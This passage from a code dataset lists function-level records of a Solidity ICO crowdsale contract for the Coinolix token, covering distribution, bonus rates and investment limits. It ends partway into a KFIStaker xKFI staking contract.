contract_name
stringlengths 1
61
| file_path
stringlengths 5
50.4k
| contract_address
stringlengths 42
42
| language
stringclasses 1
value | class_name
stringlengths 1
61
| class_code
stringlengths 4
330k
| class_documentation
stringlengths 0
29.1k
| class_documentation_type
stringclasses 6
values | func_name
stringlengths 0
62
| func_code
stringlengths 1
303k
| func_documentation
stringlengths 2
14.9k
| func_documentation_type
stringclasses 4
values | compiler_version
stringlengths 15
42
| license_type
stringclasses 14
values | swarm_source
stringlengths 0
71
| meta
dict | __index_level_0__
int64 0
60.4k
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
CoinolixToken | contracts\CoinolixCrowdsale.sol | 0x67fe7b4958a00f263ebd16d246a9a3b2ea3050d7 | Solidity | CoinolixCrowdsale | contract CoinolixCrowdsale is
AirdropAndAffiliateCrowdsale,
//MintedCrowdsale,
CappedCrowdsale,
TimedCrowdsale,
FinalizableCrowdsale,
WhitelistedCrowdsale,
RefundableCrowdsale,
Pausable {
using SafeMath for uint256;
// Initial distribution
uint256 public constant PUBLIC_TOKENS = 50; // 50% from totalSupply CROWDSALE + PRESALE
uint256 public constant PVT_INV_TOKENS = 15; // 15% from totalSupply PRIVATE SALE INVESTOR
uint256 public constant TEAM_TOKENS = 20; // 20% from totalSupply FOUNDERS
uint256 public constant ADV_TEAM_TOKENS = 10; // 10% from totalSupply ADVISORS
uint256 public constant BOUNTY_TOKENS = 2; // 2% from totalSupply BOUNTY
uint256 public constant REFF_TOKENS = 3; // 3% from totalSupply REFFERALS
uint256 public constant TEAM_LOCK_TIME = 31540000; // 1 year in seconds
uint256 public constant ADV_TEAM_LOCK_TIME = 15770000; // 6 months in seconds
// Rate bonuses
uint256 public initialRate;
uint256[4] public bonuses = [20,10,5,0];
uint256[4] public stages = [
1541635200, // 1st two week of crowdsale -> 20% Bonus
1542844800, // 3rd week of crowdsale -> 10% Bonus
1543449600, // 4th week of crowdsale -> 5% Bonus
1544054400 // 5th week of crowdsale -> 0% Bonus
];
// Min investment
uint256 public minInvestmentInWei;
// Max individual investment
uint256 public maxInvestmentInWei;
mapping (address => uint256) internal invested;
TokenTimelock public teamWallet;
TokenTimelock public advteamPool;
TokenPool public reffalPool;
TokenPool public pvt_inv_Pool;
// Events for this contract
/**
* Event triggered when changing the current rate on different stages
* @param rate new rate
*/
event CurrentRateChange(uint256 rate);
/**
* @dev Contract constructor
* @param _cap uint256 hard cap of the crowdsale
* @param _goal uint256 soft cap of the crowdsale
* @param _openingTime uint256 crowdsale start date/time
* @param _closingTime uint256 crowdsale end date/time
* @param _rate uint256 initial rate CLX for 1 ETH
* @param _minInvestmentInWei uint256 minimum investment amount
* @param _maxInvestmentInWei uint256 maximum individual investment amount
* @param _wallet address address where the collected funds will be transferred
* @param _token CoinolixToken our token
*/
constructor(
uint256 _cap,
uint256 _goal,
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
uint256 _minInvestmentInWei,
uint256 _maxInvestmentInWei,
address _wallet,
CoinolixToken _token,
uint256 _valueAirDrop,
uint256 _referrerBonus1,
uint256 _referrerBonus2)
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_cap)
AirdropAndAffiliateCrowdsale(_valueAirDrop, _referrerBonus1, _referrerBonus2)
TimedCrowdsale(_openingTime, _closingTime)
RefundableCrowdsale(_goal) public {
require(_goal <= _cap);
initialRate = _rate;
minInvestmentInWei = _minInvestmentInWei;
maxInvestmentInWei = _maxInvestmentInWei;
}
/**
* @dev Perform the initial token distribution according to the Coinolix icocrowdsale rules
* @param _teamAddress address address for the team tokens
* @param _bountyPoolAddress address address for the prize pool
* @param _advisorPoolAdddress address address for the reserve pool
*/
function doInitialDistribution(
address _teamAddress,
address _bountyPoolAddress,
address _advisorPoolAdddress) external onlyOwner {
// Create locks for team and visor pools
teamWallet = new TokenTimelock(token, _teamAddress, closingTime.add(TEAM_LOCK_TIME));
advteamPool = new TokenTimelock(token, _advisorPoolAdddress, closingTime.add(ADV_TEAM_LOCK_TIME));
// Perform initial distribution
uint256 tokenCap = CappedToken(token).cap();
//private investor pool
pvt_inv_Pool= new TokenPool(token, tokenCap.mul(PVT_INV_TOKENS).div(100));
//airdrop,bounty and reffalPool
reffalPool = new TokenPool(token, tokenCap.mul(REFF_TOKENS).div(100));
// Distribute tokens to pools
MintableToken(token).mint(teamWallet, tokenCap.mul(TEAM_TOKENS).div(100));
MintableToken(token).mint(_bountyPoolAddress, tokenCap.mul(BOUNTY_TOKENS).div(100));
MintableToken(token).mint(pvt_inv_Pool, tokenCap.mul(PVT_INV_TOKENS).div(100));
MintableToken(token).mint(reffalPool, tokenCap.mul(REFF_TOKENS).div(100));
MintableToken(token).mint(advteamPool, tokenCap.mul(ADV_TEAM_TOKENS).div(100));
// Ensure that only sale tokens left
assert(tokenCap.sub(token.totalSupply()) == tokenCap.mul(PUBLIC_TOKENS).div(100));
}
/**
* @dev Update the current rate based on the scheme
* 1st of Sep - 30rd of Sep -> 30% Bonus
* 1st of Oct - 31st of Oct -> 20% Bonus
* 1st of Nov - 30rd of Oct -> 10% Bonus
* 1st of Dec - 31st of Dec -> 0% Bonus
*/
function updateRate() external onlyOwner {
uint256 i = stages.length;
while (i-- > 0) {
if (block.timestamp >= stages[i]) {
rate = initialRate.add(initialRate.mul(bonuses[i]).div(100));
emit CurrentRateChange(rate);
break;
}
}
}
//update rate function by owner to keep stable rate in USD
function updateInitialRate(uint256 _rate) external onlyOwner {
initialRate = _rate;
uint256 i = stages.length;
while (i-- > 0) {
if (block.timestamp >= stages[i]) {
rate = initialRate.add(initialRate.mul(bonuses[i]).div(100));
emit CurrentRateChange(rate);
break;
}
}
}
/**
* @dev Perform an airdrop from the airdrop pool to multiple beneficiaries
* @param _beneficiaries address[] list of beneficiaries
* @param _amount uint256 amount to airdrop
*/
function airdropTokens(address[] _beneficiaries, uint256 _amount) external onlyOwner {
PausableToken(token).unpause();
reffalPool.allocateEqual(_beneficiaries, _amount);
PausableToken(token).pause();
}
/**
* @dev Transfer tokens to advisors and private investor from the pool
* @param _beneficiaries address[] list of beneficiaries
* @param _amounts uint256[] amounts
*/
function allocatePVT_InvTokens(address[] _beneficiaries, uint256[] _amounts) external onlyOwner {
PausableToken(token).unpause();
pvt_inv_Pool.allocate(_beneficiaries, _amounts);
PausableToken(token).pause();
}
/**
* @dev Transfer the ownership of the token conctract
* @param _newOwner address the new owner of the token
*/
function transferTokenOwnership(address _newOwner) onlyOwner public {
Ownable(token).transferOwnership(_newOwner);
}
/**
* @dev Validate min and max amounts and other purchase conditions
* @param _beneficiary address token purchaser
* @param _weiAmount uint256 amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(_weiAmount >= minInvestmentInWei);
require(invested[_beneficiary].add(_weiAmount) <= maxInvestmentInWei);
require(!paused);
}
/**
* @dev Update invested amount
* @param _beneficiary address receiving the tokens
* @param _weiAmount uint256 value in wei involved in the purchase
*/
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
super._updatePurchasingState(_beneficiary, _weiAmount);
invested[_beneficiary] = invested[_beneficiary].add(_weiAmount);
}
/**
* @dev Perform crowdsale finalization.
* - Finish token minting
* - Enable transfers
* - Give back the token ownership to the admin
*/
function finalization() internal {
CoinolixToken clxToken = CoinolixToken(token);
clxToken.finishMinting();
clxToken.unpause();
super.finalization();
transferTokenOwnership(owner);
reffalPool.transferOwnership(owner);
pvt_inv_Pool.transferOwnership(owner);
}
} | /**
* @title Coinolix ico Crowdsale Contract
* @dev Coinolix ico Crowdsale Contract
* The contract is for the crowdsale of the Coinolix icotoken. It is:
* - With a hard cap in ETH
* - With a soft cap in ETH
* - Limited in time (start/end date)
* - Only for whitelisted participants to purchase tokens
* - Ether is securely stored in RefundVault until the end of the crowdsale
* - At the end of the crowdsale if the goal is reached funds can be used
* ...otherwise the participants can refund their investments
* - Tokens are minted on each purchase
* - Sale can be paused if needed by the admin
*/ | NatSpecMultiLine | _preValidatePurchase | function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(_weiAmount >= minInvestmentInWei);
require(invested[_beneficiary].add(_weiAmount) <= maxInvestmentInWei);
require(!paused);
}
| /**
* @dev Validate min and max amounts and other purchase conditions
* @param _beneficiary address token purchaser
* @param _weiAmount uint256 amount of wei contributed
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://317c9534ceebbb8a9305966c591c4b572578356d3c9cb0e0fb32000e028135a5 | {
"func_code_index": [
7500,
7816
]
} | 6,907 |
|
CoinolixToken | contracts\CoinolixCrowdsale.sol | 0x67fe7b4958a00f263ebd16d246a9a3b2ea3050d7 | Solidity | CoinolixCrowdsale | contract CoinolixCrowdsale is
AirdropAndAffiliateCrowdsale,
//MintedCrowdsale,
CappedCrowdsale,
TimedCrowdsale,
FinalizableCrowdsale,
WhitelistedCrowdsale,
RefundableCrowdsale,
Pausable {
using SafeMath for uint256;
// Initial distribution
uint256 public constant PUBLIC_TOKENS = 50; // 50% from totalSupply CROWDSALE + PRESALE
uint256 public constant PVT_INV_TOKENS = 15; // 15% from totalSupply PRIVATE SALE INVESTOR
uint256 public constant TEAM_TOKENS = 20; // 20% from totalSupply FOUNDERS
uint256 public constant ADV_TEAM_TOKENS = 10; // 10% from totalSupply ADVISORS
uint256 public constant BOUNTY_TOKENS = 2; // 2% from totalSupply BOUNTY
uint256 public constant REFF_TOKENS = 3; // 3% from totalSupply REFFERALS
uint256 public constant TEAM_LOCK_TIME = 31540000; // 1 year in seconds
uint256 public constant ADV_TEAM_LOCK_TIME = 15770000; // 6 months in seconds
// Rate bonuses
uint256 public initialRate;
uint256[4] public bonuses = [20,10,5,0];
uint256[4] public stages = [
1541635200, // 1st two week of crowdsale -> 20% Bonus
1542844800, // 3rd week of crowdsale -> 10% Bonus
1543449600, // 4th week of crowdsale -> 5% Bonus
1544054400 // 5th week of crowdsale -> 0% Bonus
];
// Min investment
uint256 public minInvestmentInWei;
// Max individual investment
uint256 public maxInvestmentInWei;
mapping (address => uint256) internal invested;
TokenTimelock public teamWallet;
TokenTimelock public advteamPool;
TokenPool public reffalPool;
TokenPool public pvt_inv_Pool;
// Events for this contract
/**
* Event triggered when changing the current rate on different stages
* @param rate new rate
*/
event CurrentRateChange(uint256 rate);
/**
* @dev Contract constructor
* @param _cap uint256 hard cap of the crowdsale
* @param _goal uint256 soft cap of the crowdsale
* @param _openingTime uint256 crowdsale start date/time
* @param _closingTime uint256 crowdsale end date/time
* @param _rate uint256 initial rate CLX for 1 ETH
* @param _minInvestmentInWei uint256 minimum investment amount
* @param _maxInvestmentInWei uint256 maximum individual investment amount
* @param _wallet address address where the collected funds will be transferred
* @param _token CoinolixToken our token
*/
constructor(
uint256 _cap,
uint256 _goal,
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
uint256 _minInvestmentInWei,
uint256 _maxInvestmentInWei,
address _wallet,
CoinolixToken _token,
uint256 _valueAirDrop,
uint256 _referrerBonus1,
uint256 _referrerBonus2)
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_cap)
AirdropAndAffiliateCrowdsale(_valueAirDrop, _referrerBonus1, _referrerBonus2)
TimedCrowdsale(_openingTime, _closingTime)
RefundableCrowdsale(_goal) public {
require(_goal <= _cap);
initialRate = _rate;
minInvestmentInWei = _minInvestmentInWei;
maxInvestmentInWei = _maxInvestmentInWei;
}
/**
* @dev Perform the initial token distribution according to the Coinolix icocrowdsale rules
* @param _teamAddress address address for the team tokens
* @param _bountyPoolAddress address address for the prize pool
* @param _advisorPoolAdddress address address for the reserve pool
*/
function doInitialDistribution(
address _teamAddress,
address _bountyPoolAddress,
address _advisorPoolAdddress) external onlyOwner {
// Create locks for team and visor pools
teamWallet = new TokenTimelock(token, _teamAddress, closingTime.add(TEAM_LOCK_TIME));
advteamPool = new TokenTimelock(token, _advisorPoolAdddress, closingTime.add(ADV_TEAM_LOCK_TIME));
// Perform initial distribution
uint256 tokenCap = CappedToken(token).cap();
//private investor pool
pvt_inv_Pool= new TokenPool(token, tokenCap.mul(PVT_INV_TOKENS).div(100));
//airdrop,bounty and reffalPool
reffalPool = new TokenPool(token, tokenCap.mul(REFF_TOKENS).div(100));
// Distribute tokens to pools
MintableToken(token).mint(teamWallet, tokenCap.mul(TEAM_TOKENS).div(100));
MintableToken(token).mint(_bountyPoolAddress, tokenCap.mul(BOUNTY_TOKENS).div(100));
MintableToken(token).mint(pvt_inv_Pool, tokenCap.mul(PVT_INV_TOKENS).div(100));
MintableToken(token).mint(reffalPool, tokenCap.mul(REFF_TOKENS).div(100));
MintableToken(token).mint(advteamPool, tokenCap.mul(ADV_TEAM_TOKENS).div(100));
// Ensure that only sale tokens left
assert(tokenCap.sub(token.totalSupply()) == tokenCap.mul(PUBLIC_TOKENS).div(100));
}
/**
* @dev Update the current rate based on the scheme
* 1st of Sep - 30rd of Sep -> 30% Bonus
* 1st of Oct - 31st of Oct -> 20% Bonus
* 1st of Nov - 30rd of Oct -> 10% Bonus
* 1st of Dec - 31st of Dec -> 0% Bonus
*/
function updateRate() external onlyOwner {
uint256 i = stages.length;
while (i-- > 0) {
if (block.timestamp >= stages[i]) {
rate = initialRate.add(initialRate.mul(bonuses[i]).div(100));
emit CurrentRateChange(rate);
break;
}
}
}
//update rate function by owner to keep stable rate in USD
function updateInitialRate(uint256 _rate) external onlyOwner {
initialRate = _rate;
uint256 i = stages.length;
while (i-- > 0) {
if (block.timestamp >= stages[i]) {
rate = initialRate.add(initialRate.mul(bonuses[i]).div(100));
emit CurrentRateChange(rate);
break;
}
}
}
/**
* @dev Perform an airdrop from the airdrop pool to multiple beneficiaries
* @param _beneficiaries address[] list of beneficiaries
* @param _amount uint256 amount to airdrop
*/
function airdropTokens(address[] _beneficiaries, uint256 _amount) external onlyOwner {
PausableToken(token).unpause();
reffalPool.allocateEqual(_beneficiaries, _amount);
PausableToken(token).pause();
}
/**
* @dev Transfer tokens to advisors and private investor from the pool
* @param _beneficiaries address[] list of beneficiaries
* @param _amounts uint256[] amounts
*/
function allocatePVT_InvTokens(address[] _beneficiaries, uint256[] _amounts) external onlyOwner {
PausableToken(token).unpause();
pvt_inv_Pool.allocate(_beneficiaries, _amounts);
PausableToken(token).pause();
}
/**
* @dev Transfer the ownership of the token conctract
* @param _newOwner address the new owner of the token
*/
function transferTokenOwnership(address _newOwner) onlyOwner public {
Ownable(token).transferOwnership(_newOwner);
}
/**
* @dev Validate min and max amounts and other purchase conditions
* @param _beneficiary address token purchaser
* @param _weiAmount uint256 amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(_weiAmount >= minInvestmentInWei);
require(invested[_beneficiary].add(_weiAmount) <= maxInvestmentInWei);
require(!paused);
}
/**
* @dev Update invested amount
* @param _beneficiary address receiving the tokens
* @param _weiAmount uint256 value in wei involved in the purchase
*/
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
super._updatePurchasingState(_beneficiary, _weiAmount);
invested[_beneficiary] = invested[_beneficiary].add(_weiAmount);
}
/**
* @dev Perform crowdsale finalization.
* - Finish token minting
* - Enable transfers
* - Give back the token ownership to the admin
*/
function finalization() internal {
CoinolixToken clxToken = CoinolixToken(token);
clxToken.finishMinting();
clxToken.unpause();
super.finalization();
transferTokenOwnership(owner);
reffalPool.transferOwnership(owner);
pvt_inv_Pool.transferOwnership(owner);
}
} | /**
* @title Coinolix ico Crowdsale Contract
* @dev Coinolix ico Crowdsale Contract
* The contract is for the crowdsale of the Coinolix icotoken. It is:
* - With a hard cap in ETH
* - With a soft cap in ETH
* - Limited in time (start/end date)
* - Only for whitelisted participants to purchase tokens
* - Ether is securely stored in RefundVault until the end of the crowdsale
* - At the end of the crowdsale if the goal is reached funds can be used
* ...otherwise the participants can refund their investments
* - Tokens are minted on each purchase
* - Sale can be paused if needed by the admin
*/ | NatSpecMultiLine | _updatePurchasingState | function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
super._updatePurchasingState(_beneficiary, _weiAmount);
invested[_beneficiary] = invested[_beneficiary].add(_weiAmount);
}
| /**
* @dev Update invested amount
* @param _beneficiary address receiving the tokens
* @param _weiAmount uint256 value in wei involved in the purchase
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://317c9534ceebbb8a9305966c591c4b572578356d3c9cb0e0fb32000e028135a5 | {
"func_code_index": [
7998,
8233
]
} | 6,908 |
|
CoinolixToken | contracts\CoinolixCrowdsale.sol | 0x67fe7b4958a00f263ebd16d246a9a3b2ea3050d7 | Solidity | CoinolixCrowdsale | contract CoinolixCrowdsale is
AirdropAndAffiliateCrowdsale,
//MintedCrowdsale,
CappedCrowdsale,
TimedCrowdsale,
FinalizableCrowdsale,
WhitelistedCrowdsale,
RefundableCrowdsale,
Pausable {
using SafeMath for uint256;
// Initial distribution
uint256 public constant PUBLIC_TOKENS = 50; // 50% from totalSupply CROWDSALE + PRESALE
uint256 public constant PVT_INV_TOKENS = 15; // 15% from totalSupply PRIVATE SALE INVESTOR
uint256 public constant TEAM_TOKENS = 20; // 20% from totalSupply FOUNDERS
uint256 public constant ADV_TEAM_TOKENS = 10; // 10% from totalSupply ADVISORS
uint256 public constant BOUNTY_TOKENS = 2; // 2% from totalSupply BOUNTY
uint256 public constant REFF_TOKENS = 3; // 3% from totalSupply REFFERALS
uint256 public constant TEAM_LOCK_TIME = 31540000; // 1 year in seconds
uint256 public constant ADV_TEAM_LOCK_TIME = 15770000; // 6 months in seconds
// Rate bonuses
uint256 public initialRate;
uint256[4] public bonuses = [20,10,5,0];
uint256[4] public stages = [
1541635200, // 1st two week of crowdsale -> 20% Bonus
1542844800, // 3rd week of crowdsale -> 10% Bonus
1543449600, // 4th week of crowdsale -> 5% Bonus
1544054400 // 5th week of crowdsale -> 0% Bonus
];
// Min investment
uint256 public minInvestmentInWei;
// Max individual investment
uint256 public maxInvestmentInWei;
mapping (address => uint256) internal invested;
TokenTimelock public teamWallet;
TokenTimelock public advteamPool;
TokenPool public reffalPool;
TokenPool public pvt_inv_Pool;
// Events for this contract
/**
* Event triggered when changing the current rate on different stages
* @param rate new rate
*/
event CurrentRateChange(uint256 rate);
/**
* @dev Contract constructor
* @param _cap uint256 hard cap of the crowdsale
* @param _goal uint256 soft cap of the crowdsale
* @param _openingTime uint256 crowdsale start date/time
* @param _closingTime uint256 crowdsale end date/time
* @param _rate uint256 initial rate CLX for 1 ETH
* @param _minInvestmentInWei uint256 minimum investment amount
* @param _maxInvestmentInWei uint256 maximum individual investment amount
* @param _wallet address address where the collected funds will be transferred
* @param _token CoinolixToken our token
*/
constructor(
uint256 _cap,
uint256 _goal,
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
uint256 _minInvestmentInWei,
uint256 _maxInvestmentInWei,
address _wallet,
CoinolixToken _token,
uint256 _valueAirDrop,
uint256 _referrerBonus1,
uint256 _referrerBonus2)
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_cap)
AirdropAndAffiliateCrowdsale(_valueAirDrop, _referrerBonus1, _referrerBonus2)
TimedCrowdsale(_openingTime, _closingTime)
RefundableCrowdsale(_goal) public {
require(_goal <= _cap);
initialRate = _rate;
minInvestmentInWei = _minInvestmentInWei;
maxInvestmentInWei = _maxInvestmentInWei;
}
/**
* @dev Perform the initial token distribution according to the Coinolix icocrowdsale rules
* @param _teamAddress address address for the team tokens
* @param _bountyPoolAddress address address for the prize pool
* @param _advisorPoolAdddress address address for the reserve pool
*/
function doInitialDistribution(
address _teamAddress,
address _bountyPoolAddress,
address _advisorPoolAdddress) external onlyOwner {
// Create locks for team and visor pools
teamWallet = new TokenTimelock(token, _teamAddress, closingTime.add(TEAM_LOCK_TIME));
advteamPool = new TokenTimelock(token, _advisorPoolAdddress, closingTime.add(ADV_TEAM_LOCK_TIME));
// Perform initial distribution
uint256 tokenCap = CappedToken(token).cap();
//private investor pool
pvt_inv_Pool= new TokenPool(token, tokenCap.mul(PVT_INV_TOKENS).div(100));
//airdrop,bounty and reffalPool
reffalPool = new TokenPool(token, tokenCap.mul(REFF_TOKENS).div(100));
// Distribute tokens to pools
MintableToken(token).mint(teamWallet, tokenCap.mul(TEAM_TOKENS).div(100));
MintableToken(token).mint(_bountyPoolAddress, tokenCap.mul(BOUNTY_TOKENS).div(100));
MintableToken(token).mint(pvt_inv_Pool, tokenCap.mul(PVT_INV_TOKENS).div(100));
MintableToken(token).mint(reffalPool, tokenCap.mul(REFF_TOKENS).div(100));
MintableToken(token).mint(advteamPool, tokenCap.mul(ADV_TEAM_TOKENS).div(100));
// Ensure that only sale tokens left
assert(tokenCap.sub(token.totalSupply()) == tokenCap.mul(PUBLIC_TOKENS).div(100));
}
/**
* @dev Update the current rate based on the scheme
* 1st of Sep - 30rd of Sep -> 30% Bonus
* 1st of Oct - 31st of Oct -> 20% Bonus
* 1st of Nov - 30rd of Oct -> 10% Bonus
* 1st of Dec - 31st of Dec -> 0% Bonus
*/
function updateRate() external onlyOwner {
uint256 i = stages.length;
while (i-- > 0) {
if (block.timestamp >= stages[i]) {
rate = initialRate.add(initialRate.mul(bonuses[i]).div(100));
emit CurrentRateChange(rate);
break;
}
}
}
//update rate function by owner to keep stable rate in USD
function updateInitialRate(uint256 _rate) external onlyOwner {
initialRate = _rate;
uint256 i = stages.length;
while (i-- > 0) {
if (block.timestamp >= stages[i]) {
rate = initialRate.add(initialRate.mul(bonuses[i]).div(100));
emit CurrentRateChange(rate);
break;
}
}
}
/**
* @dev Perform an airdrop from the airdrop pool to multiple beneficiaries
* @param _beneficiaries address[] list of beneficiaries
* @param _amount uint256 amount to airdrop
*/
function airdropTokens(address[] _beneficiaries, uint256 _amount) external onlyOwner {
PausableToken(token).unpause();
reffalPool.allocateEqual(_beneficiaries, _amount);
PausableToken(token).pause();
}
/**
* @dev Transfer tokens to advisors and private investor from the pool
* @param _beneficiaries address[] list of beneficiaries
* @param _amounts uint256[] amounts
*/
function allocatePVT_InvTokens(address[] _beneficiaries, uint256[] _amounts) external onlyOwner {
PausableToken(token).unpause();
pvt_inv_Pool.allocate(_beneficiaries, _amounts);
PausableToken(token).pause();
}
/**
* @dev Transfer the ownership of the token conctract
* @param _newOwner address the new owner of the token
*/
function transferTokenOwnership(address _newOwner) onlyOwner public {
Ownable(token).transferOwnership(_newOwner);
}
/**
* @dev Validate min and max amounts and other purchase conditions
* @param _beneficiary address token purchaser
* @param _weiAmount uint256 amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(_weiAmount >= minInvestmentInWei);
require(invested[_beneficiary].add(_weiAmount) <= maxInvestmentInWei);
require(!paused);
}
/**
* @dev Update invested amount
* @param _beneficiary address receiving the tokens
* @param _weiAmount uint256 value in wei involved in the purchase
*/
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
super._updatePurchasingState(_beneficiary, _weiAmount);
invested[_beneficiary] = invested[_beneficiary].add(_weiAmount);
}
/**
* @dev Perform crowdsale finalization.
* - Finish token minting
* - Enable transfers
* - Give back the token ownership to the admin
*/
function finalization() internal {
CoinolixToken clxToken = CoinolixToken(token);
clxToken.finishMinting();
clxToken.unpause();
super.finalization();
transferTokenOwnership(owner);
reffalPool.transferOwnership(owner);
pvt_inv_Pool.transferOwnership(owner);
}
} | /**
* @title Coinolix ico Crowdsale Contract
* @dev Coinolix ico Crowdsale Contract
* The contract is for the crowdsale of the Coinolix icotoken. It is:
* - With a hard cap in ETH
* - With a soft cap in ETH
* - Limited in time (start/end date)
* - Only for whitelisted participants to purchase tokens
* - Ether is securely stored in RefundVault until the end of the crowdsale
* - At the end of the crowdsale if the goal is reached funds can be used
* ...otherwise the participants can refund their investments
* - Tokens are minted on each purchase
* - Sale can be paused if needed by the admin
*/ | NatSpecMultiLine | finalization | function finalization() internal {
CoinolixToken clxToken = CoinolixToken(token);
clxToken.finishMinting();
clxToken.unpause();
super.finalization();
transferTokenOwnership(owner);
reffalPool.transferOwnership(owner);
pvt_inv_Pool.transferOwnership(owner);
}
| /**
* @dev Perform crowdsale finalization.
* - Finish token minting
* - Enable transfers
* - Give back the token ownership to the admin
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://317c9534ceebbb8a9305966c591c4b572578356d3c9cb0e0fb32000e028135a5 | {
"func_code_index": [
8407,
8738
]
} | 6,909 |
|
KFIStaker | KFIStaker.sol | 0x63d1cd65fbba57a30467198ebc2aab78a06ab245 | Solidity | KFIStaker | contract KFIStaker is Owned {
//initializing safe computations
using SafeMath for uint;
//xKFI contract address
address public xkfi;
//total amount of staked xkfi
uint public totalStaked;
//tax rate for staking in percentage
uint public stakingTaxRate; //25 = 2.5%
//tax amount for registration
uint public registrationTax;
//daily return of investment in percentage
uint public dailyROI; //150 = 1.5%
//tax rate for unstaking in percentage
uint public unstakingTaxRate; //30 = 3%
//minimum stakeable xKFI
uint public minimumStakeValue;
//pause mechanism
bool public active = true;
//mapping of stakeholder's addresses to data
mapping(address => uint) public stakes;
mapping(address => uint) public referralRewards;
mapping(address => uint) public referralCount;
mapping(address => uint) public stakeRewards;
mapping(address => uint) private lastClock;
mapping(address => bool) public registered;
//Events
event OnWithdrawal(address sender, uint amount);
event OnStake(address sender, uint amount, uint tax);
event OnUnstake(address sender, uint amount, uint tax);
event OnRegisterAndStake(address stakeholder, uint amount, uint totalTax , address _referrer);
/**
* @dev Sets the initial values
*/
constructor(
address _token,
uint _stakingTaxRate,
uint _unstakingTaxRate,
uint _dailyROI,
uint _registrationTax,
uint _minimumStakeValue) public {
//set initial state variables
xkfi = _token;
stakingTaxRate = _stakingTaxRate;
unstakingTaxRate = _unstakingTaxRate;
dailyROI = _dailyROI;
registrationTax = _registrationTax;
minimumStakeValue = _minimumStakeValue;
}
//exclusive access for registered address
modifier onlyRegistered() {
require(registered[msg.sender] == true, "Stakeholder must be registered");
_;
}
//exclusive access for unregistered address
modifier onlyUnregistered() {
require(registered[msg.sender] == false, "Stakeholder is already registered");
_;
}
//make sure contract is active
modifier whenActive() {
require(active == true, "Smart contract is curently inactive");
_;
}
/**
* registers and creates stakes for new stakeholders
* deducts the registration tax and staking tax
* calculates refferal bonus from the registration tax and sends it to the _referrer if there is one
* transfers xKFI from sender's address into the smart contract
* Emits an {OnRegisterAndStake} event..
*/
function registerAndStake(uint _amount, address _referrer) external onlyUnregistered() whenActive() {
//makes sure user is not the referrer
require(msg.sender != _referrer, "Cannot refer self");
//makes sure referrer is registered already
require(registered[_referrer] || address(0x0) == _referrer, "Referrer must be registered");
//makes sure user has enough amount
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure amount is more than the registration fee and the minimum deposit
require(_amount >= registrationTax.add(minimumStakeValue), "Must send at least enough xKFI to pay registration fee.");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates final amount after deducting registration tax
uint finalAmount = _amount.sub(registrationTax);
//calculates staking tax on final calculated amount
uint stakingTax = (stakingTaxRate.mul(finalAmount)).div(1000);
//conditional statement if user registers with referrer
if(_referrer != address(0x0)) {
//increase referral count of referrer
referralCount[_referrer]++;
//add referral bonus to referrer
referralRewards[_referrer] = (referralRewards[_referrer]).add(stakingTax);
}
//register user
registered[msg.sender] = true;
//mark the transaction date
lastClock[msg.sender] = now;
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(finalAmount).sub(stakingTax);
//update the user's stakes deducting the staking tax
stakes[msg.sender] = (stakes[msg.sender]).add(finalAmount).sub(stakingTax);
//emit event
emit OnRegisterAndStake(msg.sender, _amount, registrationTax.add(stakingTax), _referrer);
}
//calculates stakeholders latest unclaimed earnings
function calculateEarnings(address _stakeholder) public view returns(uint) {
//records the number of days between the last payout time and now
uint activeDays = (now.sub(lastClock[_stakeholder])).div(86400);
//returns earnings based on daily ROI and active days
return ((stakes[_stakeholder]).mul(dailyROI).mul(activeDays)).div(10000);
}
/**
* creates stakes for already registered stakeholders
* deducts the staking tax from _amount inputted
* registers the remainder in the stakes of the sender
* records the previous earnings before updated stakes
* Emits an {OnStake} event
*/
function stake(uint _amount) external onlyRegistered() whenActive() {
//makes sure stakeholder does not stake below the minimum
require(_amount >= minimumStakeValue, "Amount is below minimum stake value.");
//makes sure stakeholder has enough balance
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates staking tax on amount
uint stakingTax = (stakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(stakingTax);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(afterTax);
//adds earnings current earnings to stakeRewards
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//updates stakeholder's stakes
stakes[msg.sender] = (stakes[msg.sender]).add(afterTax);
//emit event
emit OnStake(msg.sender, afterTax, stakingTax);
}
/**
* removes '_amount' stakes for already registered stakeholders
* deducts the unstaking tax from '_amount'
* transfers the sum of the remainder, stake rewards, referral rewards, and current eanrings to the sender
* deregisters stakeholder if all the stakes are removed
* Emits an {OnStake} event
*/
function unstake(uint _amount) external onlyRegistered() {
